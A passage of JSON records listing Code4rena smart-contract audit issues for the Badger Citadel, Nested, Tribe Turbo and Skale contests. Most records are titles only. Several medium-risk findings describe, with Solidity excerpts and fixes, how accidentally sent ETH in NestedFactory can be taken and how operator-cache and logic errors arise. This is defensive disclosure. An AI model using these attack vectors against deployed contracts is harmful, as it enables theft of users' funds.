"2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/29", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/28", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/23", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/21", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/19", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/18", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/9", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/8", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/7", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/3", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-badger-citadel-findings/issues/1", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-badger-citadel-findings", "body": "QA report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/72", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/71", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/70", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/68", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/67", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/66", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-nested-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/65", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/64", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/57", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/56", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/55", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/52", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/50", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/48", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/47", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/46", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-nested-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/45", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "QA Report"}, {"title": "NestedFactory: User can utilise accidentally sent ETH funds via processOutputOrders() / processInputAndOutputOrders()", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/44", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-nested/blob/main/contracts/NestedFactory.sol#L71 https://github.com/code-423n4/2022-02-nested/blob/main/contracts/NestedFactory.sol#L286-L296 https://github.com/code-423n4/2022-02-nested/blob/main/contracts/NestedFactory.sol#L370-L375 https://github.com/code-423n4/2022-02-nested/blob/main/contracts/NestedFactory.sol#L482-L492 # Vulnerability details ## Impact Should a user accidentally send ETH to the `NestedFactory`, anyone can utilise it to their own benefit by calling `processOutputOrders()` / `processInputAndOutputOrders()`. This is possible because: 1. `receive()` has no restriction on the sender 2. `processOutputOrders()` does not check `msg.value`, and rightly so, because funds are expected to come from `reserve`. 3. `transferInputTokens()` does not handle the case where `ETH` could be specified as an address by the user for an output order. ```jsx if (address(_inputToken) == ETH) { require(address(this).balance >= _inputTokenAmount, \"NF: INVALID_AMOUNT_IN\"); weth.deposit{ value: _inputTokenAmount }(); return (IERC20(address(weth)), _inputTokenAmount); } ``` Hence, the attack vector is simple. Should a user accidentally send ETH to the contract, create an output `Order` with `token` being `ETH` and amount corresponding to the NestedFactory\u2019s ETH balance. ## Recommended Mitigation Steps 1. Since plain / direct`ETH` transfers are only expected to solely come from `weth` (excluding payable functions), we recommend restricting the sender to be `weth`, like how it is done in `[FeeSplitter](https://github.com/code-423n4/2022-02-nested/blob/main/contracts/FeeSplitter.sol#L101-L104)`. We are aware that this was raised previously here: https://github.com/code-423n4/2021-11-nested-findings/issues/188 and would like to add that the restricting the sender in the `receive()` function will not affect `payable` functions. From from what we see, plain ETH transfers are also not expected to come from other sources like `NestedReserve` or operators. ```jsx receive() external payable { require(msg.sender == address(weth), \"NF: ETH_SENDER_NOT_WETH\"); } ``` 1. Check that `_fromReserve` is false in the scenario `address(_inputToken) == ETH`. ```jsx if (address(_inputToken) == ETH) { require(!_fromReserve, \"NF: INVALID_INPUT_TOKEN\"); require(address(this).balance >= _inputTokenAmount, \"NF: INVALID_AMOUNT_IN\"); weth.deposit{ value: _inputTokenAmount }(); return (IERC20(address(weth)), _inputTokenAmount); } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/40", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/39", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "`NestedFactory` does not track operators properly", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/38", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-nested/blob/fe6f9ef7783c3c84798c8ab5fc58085a55cebcfc/contracts/NestedFactory.sol#L99-L108 https://github.com/code-423n4/2022-02-nested/blob/fe6f9ef7783c3c84798c8ab5fc58085a55cebcfc/contracts/abstracts/MixinOperatorResolver.sol#L30-L47 https://github.com/code-423n4/2022-02-nested/blob/fe6f9ef7783c3c84798c8ab5fc58085a55cebcfc/contracts/NestedFactory.sol#L110-L122 https://github.com/code-423n4/2022-02-nested/blob/fe6f9ef7783c3c84798c8ab5fc58085a55cebcfc/contracts/abstracts/MixinOperatorResolver.sol#L49-L55 # Vulnerability details `NestedFactory` extends the `MixinOperatorResolver` contract which comes from the [`synthetix/MixinResolver.sol`](https://github.com/Synthetixio/synthetix/blob/a1786e5d64b5b51212785ade6d8b42435f69c387/contracts/MixinResolver.sol) code base where the expectation is that `isResolverCached()` returns false until [`rebuildCache()` is called and the cache is fully up to date](https://github.com/Synthetixio/synthetix/blob/a1786e5d64b5b51212785ade6d8b42435f69c387/test/contracts/MixinResolver.js#L82-L105). Due to [a medium issue](https://github.com/code-423n4/2021-11-nested-findings/issues/217) identified in a prior contest, the `OperatorResolver.importOperators()` step was made to be atomically combined with the `NestedFactory.rebuildCache()` step. However, the atomicity was not applied everywhere and the ability to add/remove operators from the `NestedFactory` also had other cache-inconsistency issues. There are *four separate instances* of operator tracking problems in this submission. ## Impact As with the prior issue, many core operations (such as `NestedFactory.create()` and `NestedFactory.swapTokenForTokens()`) are dependant on the assumption that the `operatorCache` cache is synced prior to these functions being executed, but this may not necessarily be the case. Unlike the prior issue which was about updates to the resolver not getting reflected in the cache, this issue is about changes to the factory not updating the cache. ## Proof of Concept ### 1. `removeOperator()` does not call `rebuildCache()` 1. `NestedFactory.removeOperator()` is called to remove an operator 2. A user calls `NestedFactory(MixinOperatorResolver).create()` using that operator and succeedes 3. `NestedFactory.rebuildCache()` is called to rebuild cache This flow is not aware that the cache is not in sync ```solidity /// @inheritdoc INestedFactory function addOperator(bytes32 operator) external override onlyOwner { require(operator != bytes32(\"\"), \"NF: INVALID_OPERATOR_NAME\"); bytes32[] memory operatorsCache = operators; for (uint256 i = 0; i < operatorsCache.length; i++) { require(operatorsCache[i] != operator, \"NF: EXISTENT_OPERATOR\"); } operators.push(operator); emit OperatorAdded(operator); } ``` https://github.com/code-423n4/2022-02-nested/blob/fe6f9ef7783c3c84798c8ab5fc58085a55cebcfc/contracts/NestedFactory.sol#L99-L108 ### 2. Using both `removeOperator()` and `rebuildCache()` does not prevent `create()` from using the operator Even if `removeOperator()` calls `rebuildCache()` the function will still not work because `resolverOperatorsRequired()` only keeps track of remaining operators, and `rebuildCache()` currently has no way of knowing that an entry was removed from that array and that a corresponding entry from `operatorCache` needs to be removed too. ```solidity /// @notice Rebuild the operatorCache function rebuildCache() external { bytes32[] memory requiredOperators = resolverOperatorsRequired(); bytes32 name; IOperatorResolver.Operator memory destination; // The resolver must call this function whenever it updates its state for (uint256 i = 0; i < requiredOperators.length; i++) { name = requiredOperators[i]; // Note: can only be invoked once the resolver has all the targets needed added destination = resolver.getOperator(name); if (destination.implementation != address(0)) { operatorCache[name] = destination; } else { delete operatorCache[name]; } emit CacheUpdated(name, destination); } } ``` https://github.com/code-423n4/2022-02-nested/blob/fe6f9ef7783c3c84798c8ab5fc58085a55cebcfc/contracts/abstracts/MixinOperatorResolver.sol#L30-L47 ### 3. `addOperator()` does not call `rebuildCache()` 1. `NestedFactory.addOperator()` is called to add an operator 2. A user calls `NestedFactory(MixinOperatorResolver).create()` using that operator and fails because the operator wasn't in the `resolverOperatorsRequired()` during the last call to `rebuildCaches()`, so the operator isn't in `operatorCache` 3. `NestedFactory.rebuildCache()` is called to rebuild cache This flow is not aware that the cache is not in sync ```solidity /// @inheritdoc INestedFactory function removeOperator(bytes32 operator) external override onlyOwner { uint256 operatorsLength = operators.length; for (uint256 i = 0; i < operatorsLength; i++) { if (operators[i] == operator) { operators[i] = operators[operatorsLength - 1]; operators.pop(); emit OperatorRemoved(operator); return; } } revert(\"NF: NON_EXISTENT_OPERATOR\"); } ``` https://github.com/code-423n4/2022-02-nested/blob/fe6f9ef7783c3c84798c8ab5fc58085a55cebcfc/contracts/NestedFactory.sol#L110-L122 ### 4. `isResolverCached()` does not reflect the actual updated-or-not state This function, like `removeOperator()` is not able to tell that there is an operator that needs to be removed from `resolverCache`, causing the owner not to know a call to `rebuildCache()` is required to 'remove' the operator ```solidity /// @notice Check the state of operatorCache function isResolverCached() external view returns (bool) { bytes32[] memory requiredOperators = resolverOperatorsRequired(); bytes32 name; IOperatorResolver.Operator memory cacheTmp; IOperatorResolver.Operator memory actualValue; for (uint256 i = 0; i < requiredOperators.length; i++) { ``` https://github.com/code-423n4/2022-02-nested/blob/fe6f9ef7783c3c84798c8ab5fc58085a55cebcfc/contracts/abstracts/MixinOperatorResolver.sol#L49-L55 ## Tools Used Code inspection ## Recommended Mitigation Steps Add calls to `rebuildCache()` in `addOperator()` and `removeOperator()`, have `INestedFactory` also track operators that have been removed with a new array, and have `isResolverCached()` also check whether this new array is empty or not. "}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/35", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-nested-findings", "body": "QA report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/33", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/28", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "Destroy can avoid the bulk of fees", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/27", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-02-nested-findings", "body": "Destroy can avoid the bulk of fees"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/26", "labels": ["bug", "enhancement", "QA (Quality Assurance)"], "target": "2022-02-nested-findings", "body": "QA report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/25", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/24", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "QA Report"}, {"title": "Wrong logic around `areOperatorsImported`", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/17", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-nested/blob/fe6f9ef7783c3c84798c8ab5fc58085a55cebcfc/contracts/OperatorResolver.sol#L42-L43 # Vulnerability details ## Impact The logic related to the `areOperatorsImported` method is incorrect and can cause an operator not to be updated because the owner thinks it is already updated, and a vulnerable or defective one can be used. ## Proof of Concept The `operators` mapping is made up of a key `bytes32 name` and a value made up of two values: `implementation` and `selector`, both of which identify the contract and function to be called when an operator is invoked. The `areOperatorsImported` method tries to check if the operators to check already exist, however, the check is not done correctly, since && is used instead of ||. If the operator with name `A` and value `{implementation=0x27f8d03b3a2196956ed754badc28d73be8830a6e,selector=\"performSwapVulnerable\"}` exists, and the owner try to check if the operator with name `A` and value `{implementation=0x27f8d03b3a2196956ed754badc28d73be8830a6e,selector=\"performSwapFixed\"}` exists, that function will return `true`, and the owner may decide not to import it , producing unexpected errors. Because operators manage the tokens, this error can produce a token lost. ## Recommended Mitigation Steps Change && by || "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/16", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/15", "labels": ["bug", "disagree with severity", "G (Gas Optimization)"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/9", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/8", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "Undesired behavior", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/6", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-02-nested-findings", "body": "Undesired behavior"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-nested-findings/issues/4", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/77", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-tribe-turbo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/75", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-tribe-turbo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/74", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-tribe-turbo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/73", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-tribe-turbo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/72", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-tribe-turbo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/71", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-tribe-turbo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/70", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-tribe-turbo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/68", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-tribe-turbo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/66", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-tribe-turbo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/65", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-tribe-turbo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/63", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-tribe-turbo-findings", "body": "Gas Optimizations"}, {"title": "Gibber can take any amount from safes", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/62", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-tribe-turbo-findings", "body": "Gibber can take any amount from safes"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/59", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-tribe-turbo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "sponsor disputed"], "target": "2022-02-tribe-turbo-findings", "body": "QA Report"}, {"title": "[WP-M2] Wrong implementation of `TurboSafe.sol#less()` may cause boosted record value in TurboMaster bigger than actual lead to `BoostCapForVault` and `BoostCapForCollateral` to be permanently occupied", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/55", "labels": ["bug", "2 (Med Risk)"], "target": "2022-02-tribe-turbo-findings", "body": "[WP-M2] Wrong implementation of `TurboSafe.sol#less()` may cause boosted record value in TurboMaster bigger than actual lead to `BoostCapForVault` and `BoostCapForCollateral` to be permanently occupied"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-tribe-turbo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/52", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-tribe-turbo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/47", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-tribe-turbo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/44", "labels": ["bug", "QA (Quality Assurance)", "resolved"], "target": "2022-02-tribe-turbo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/43", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-tribe-turbo-findings", "body": "Gas Optimizations"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor acknowledged"], "target": "2022-02-tribe-turbo-findings", "body": "QA report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/39", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-tribe-turbo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/37", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-tribe-turbo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/36", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-tribe-turbo-findings", "body": "QA Report"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/35", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-02-tribe-turbo-findings", "body": "QA report"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/31", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor acknowledged"], "target": "2022-02-tribe-turbo-findings", "body": "QA report"}, {"title": "Slurp can be frontrun with fee increase", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/29", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-tribe-turbo-findings", "body": "Slurp can be frontrun with fee increase"}, {"title": "`ERC4626RouterBase.withdraw` should use a **max** shares out check", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/28", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved"], "target": "2022-02-tribe-turbo-findings", "body": "`ERC4626RouterBase.withdraw` should use a **max** shares out check"}, {"title": "ERC4626 mint uses wrong `amount`", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/27", "labels": ["bug", "3 (High Risk)"], "target": "2022-02-tribe-turbo-findings", "body": "ERC4626 mint uses wrong `amount`"}, {"title": "ERC4626 does not work with fee-on-transfer tokens", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/26", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-tribe-turbo-findings", "body": "ERC4626 does not work with fee-on-transfer tokens"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/22", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-tribe-turbo-findings", "body": "Gas Optimizations"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/21", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor acknowledged"], "target": "2022-02-tribe-turbo-findings", "body": "QA report"}, {"title": "TurboRouter: deposit(), mint(), createSafeAndDeposit() and createSafeAndDepositAndBoost() functions do not work", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/16", "labels": ["bug", "3 (High Risk)", "sponsor disputed"], "target": "2022-02-tribe-turbo-findings", "body": "TurboRouter: deposit(), mint(), createSafeAndDeposit() and createSafeAndDepositAndBoost() functions do not work"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/14", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "sponsor disputed"], "target": "2022-02-tribe-turbo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/13", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-02-tribe-turbo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/8", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-tribe-turbo-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/3", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-tribe-turbo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-tribe-turbo-findings/issues/2", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-tribe-turbo-findings", "body": "QA Report"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/83", "labels": [], "target": "2022-02-skale-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/81", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-02-skale-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/79", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-skale-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/78", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-skale-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/77", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-skale-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/75", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-skale-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/74", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-skale-findings", "body": "Gas Optimizations"}, {"title": "Schain owners can rug pull users' funds", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/71", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-skale-findings", "body": "Schain owners can rug pull users' funds"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/67", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-skale-findings", "body": "QA Report"}, {"title": 